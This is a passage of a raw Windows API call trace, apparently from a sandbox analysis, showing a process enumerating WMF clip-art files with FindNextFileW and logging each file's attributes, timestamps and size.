[0250.011] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xaf94, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0103402.WMF", cAlternateFileName="")) returned 1 [0250.012] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1714, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0103812.WMF", cAlternateFileName="")) returned 1 [0250.012] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5c2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0103850.WMF", cAlternateFileName="")) returned 1 [0250.012] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1434, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105230.WMF", cAlternateFileName="")) returned 1 [0250.012] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105232.WMF", cAlternateFileName="")) returned 1 [0250.012] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd74, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105234.WMF", cAlternateFileName="")) returned 1 [0250.013] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4314, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105238.WMF", cAlternateFileName="")) returned 1 [0250.013] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2d0c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105240.WMF", cAlternateFileName="")) returned 1 [0250.013] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2bdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105244.WMF", cAlternateFileName="")) returned 1 [0250.013] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105246.WMF", cAlternateFileName="")) returned 1 [0250.013] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1214, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105250.WMF", cAlternateFileName="")) returned 1 [0250.014] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1714, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105266.WMF", cAlternateFileName="")) returned 1 [0250.015] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e42c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4540, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105272.WMF", cAlternateFileName="")) returned 1 [0250.015] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e42c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4b28, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105276.WMF", cAlternateFileName="")) returned 1 [0250.015] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e42c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2d14, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105280.WMF", cAlternateFileName="")) returned 1 [0250.015] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x12bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105282.WMF", cAlternateFileName="")) returned 1 [0250.015] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x19a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105286.WMF", cAlternateFileName="")) returned 1 [0250.016] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3dd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105288.WMF", cAlternateFileName="")) returned 1 [0250.016] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3a14, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105292.WMF", cAlternateFileName="")) returned 1 [0250.016] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1580, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105294.WMF", cAlternateFileName="")) returned 1 [0250.016] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x18b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105298.WMF", cAlternateFileName="")) returned 1 [0250.016] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x10e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105306.WMF", cAlternateFileName="")) returned 1 [0250.016] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105320.WMF", cAlternateFileName="")) returned 1 [0250.017] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f38, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105328.WMF", cAlternateFileName="")) returned 1 [0250.017] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x290c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105332.WMF", cAlternateFileName="")) returned 1 [0250.017] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb54, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105336.WMF", cAlternateFileName="")) returned 1 [0250.017] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2d40, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105338.WMF", cAlternateFileName="")) returned 1 [0250.018] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x42a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105348.WMF", cAlternateFileName="")) returned 1 [0250.893] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x229c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105360.WMF", cAlternateFileName="")) returned 1 [0250.893] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x305c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105368.WMF", cAlternateFileName="")) returned 1 [0250.893] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1364, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105376.WMF", cAlternateFileName="")) returned 1 [0250.893] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1364, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105378.WMF", cAlternateFileName="")) returned 1 [0250.894] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1210, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105380.WMF", cAlternateFileName="")) returned 1 [0250.894] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x16f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105384.WMF", cAlternateFileName="")) returned 1 [0250.894] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x175c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105386.WMF", cAlternateFileName="")) returned 1 [0250.894] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x203c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105388.WMF", cAlternateFileName="")) returned 1 [0250.894] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1350, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105390.WMF", cAlternateFileName="")) returned 1 [0250.894] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2b04, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105396.WMF", cAlternateFileName="")) returned 1 [0250.895] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd00, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105398.WMF", cAlternateFileName="")) returned 1 [0250.895] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4fdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105410.WMF", cAlternateFileName="")) returned 1 [0250.895] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x24b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105412.WMF", cAlternateFileName="")) returned 1 [0250.895] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1864, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105414.WMF", cAlternateFileName="")) returned 1 [0250.895] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4928, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105490.WMF", cAlternateFileName="")) returned 1 [0250.896] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1424, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105496.WMF", cAlternateFileName="")) returned 1 [0250.896] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1560, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105502.WMF", cAlternateFileName="")) returned 1 [0250.896] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1034, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105504.WMF", cAlternateFileName="")) returned 1 [0250.896] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb60, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105506.WMF", cAlternateFileName="")) returned 1 [0250.896] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, 